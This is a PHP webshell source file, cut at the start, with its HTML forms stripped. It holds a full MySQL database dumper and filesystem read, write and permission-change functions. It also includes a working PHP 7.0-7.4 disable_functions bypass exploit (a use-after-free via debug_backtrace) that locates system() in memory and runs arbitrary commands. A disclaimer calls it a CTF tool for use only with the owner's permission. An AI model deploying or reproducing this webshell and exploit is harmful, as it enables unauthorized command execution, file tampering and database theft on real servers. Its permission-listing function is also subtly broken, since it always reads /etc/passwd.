query($sql) as $row) { array_push($db[$dbname][$tablename]["data"], array()); echo "\n"; foreach ($columns as &$colname){ $c = count($db[$dbname][$tablename]["data"]); $db[$dbname][$tablename]["data"][$c-1][$colname] = $row[$colname]; echo "\t".$row[$colname]."\n"; } echo "\n"; } } function getColumns($dbh, $tablename, $dbname){ global $db; $sql = "SELECT column_name FROM information_schema.columns WHERE table_name='$tablename' and table_schema='$dbname';"; #echo $sql."\n"; echo "
"; echo ''."\n"; echo "\n"; foreach ($dbh->query($sql) as $row) { array_push($db[$dbname][$tablename]["columns"], $row['column_name']); echo "\t\n"; } echo "\n"; getData($dbh, $db[$dbname][$tablename]["columns"], $tablename, $dbname); echo "
".$row['column_name']."
\n"; echo "
\n"; } function getTables($dbh, $dbname, $checkDefault) { global $db, $information_schema, $mysql, $performance_schema, $sys; $sql = "SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname';"; #echo $sql."\n"; foreach ($dbh->query($sql) as $row) { $db[$dbname][$row['table_name']]["columns"] = array(); $db[$dbname][$row['table_name']]["data"] = array(); if (! $checkDefault){ if ($dbname === "information_schema" && in_array(strtoupper($row['table_name']),$information_schema)){ continue; } elseif ($dbname === "mysql" && in_array(strtoupper($row['table_name']),$mysql)){ continue; } elseif ($dbname === "performance_schema" && in_array(strtoupper($row['table_name']),$performance_schema)){ continue; } elseif ($dbname === "sys" && in_array(strtoupper($row['table_name']),$sys)){ continue; } } echo "

Table: ".$row['table_name']."


"; getColumns($dbh, $row['table_name'], $dbname); } } function dumpDb($mysqlUserName, $mysqlPassword, $mysqlHostName, $checkDefault){ global $db; $dbh = new PDO("mysql:host=$mysqlHostName;",$mysqlUserName, $mysqlPassword); $sql = $dbh->query('SHOW DATABASES'); $dbnames_results = $sql->fetchAll(); foreach ($dbnames_results as &$dbname) { $db[$dbname[0]] = array(); echo "

Database: ".$dbname[0]."


"; getTables($dbh, $dbname[0], $checkDefault); } } ################################ ##### FILESYSTEM FUNCTIONS ##### ################################ function printPerms($filepath){ $perms = fileperms('/etc/passwd'); switch ($perms & 0xF000) { case 0xC000: // socket $info = 's'; break; case 0xA000: // symbolic link $info = 'l'; break; case 0x8000: // regular $info = 'r'; break; case 0x6000: // block special $info = 'b'; break; case 0x4000: // directory $info = 'd'; break; case 0x2000: // character special $info = 'c'; break; case 0x1000: // FIFO pipe $info = 'p'; break; default: // unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); echo "$info $filepath\n"; } function listDir($dir){ echo "Listing $dir\n"; $filenames = scandir($dir); foreach ($filenames as $filename) { if ($filename != "." && $filename != ".."){ $filepath = "$dir/$filename"; printPerms($filepath); } } } function readAFile($filepath){ if (file_exists($filepath)){ if (is_readable($filepath)) { echo "Reading $filepath\n"; echo file_get_contents($filepath); } else{ echo "$filepath: Permission denied\n"; } } else{ echo "$filepath: File doesn't exist\n"; } } function writeAFile($filepath, $content){ file_put_contents($filepath, $content); } function createADir($dirpath, $perms){ if (! mkdir($dirpath, intval($perms, 8))){ echo "Error creating the folder $dirpath\n"; } else{ echo "$dirpath was created\n"; } } function changePerms($dirpath, $perms){ if (! chmod($dirpath, intval($perms, 8))){ echo "Error changing permissions of $dirpath\n"; } else{ echo "Permissions of $dirpath changed correctly\n"; } } #################################### ######### CHECK FUNCTIONS ########## #################################### function check_exec_function($disabled, $func){ if (!in_array($func, $disabled)){ echo "
$func is enabled!!
\n"; } else{ echo "
$func is disabled
\n"; } } function check_exec_functions() { $disabled = explode(',', ini_get('disable_functions')); $funcs = ["exec", "passthru", "system", "shell_exec", "popen", "proc_open", "pcntl_exec", "mail", "putenv"]; foreach ($funcs as $func) { check_exec_function($disabled, $func); } } # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=76047 # debug_backtrace() returns a reference to a variable # that has been destroyed, causing a UAF vulnerability. # # This exploit should work on all PHP 7.0-7.4 versions # released as of 30/01/2020. # # Author: https://github.com/mm0r1 function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); # ;) if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { # str_shuffle prevents opcache string interning $arg = str_shuffle(str_repeat('A', 79)); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); } ?>
Disclaimer: Always use this webshell with permission of the servers owner.

Filesystem Interaction

Read File:

List Dir:

Create Dir: Perms:

Change Perms: Perms:

Write file:
Content:


Disabled functions


PHP 7.0-7.4 Disabled Functions Bypass

Command:

Mysql Dump

Note that this will dump the WHOLE DATABASE. I have created this webshell for CTFs, DO NOT USE THIS IN PRODUCTION ENVIRONMENTS.
Mysql Username:
Mysql Password:
Mysql Host:
Dump default MySQL databases (information_schema, mysql, performance_schema, sys) . Note that by default only non-default tables from these databases will be extracted.

PHPInfo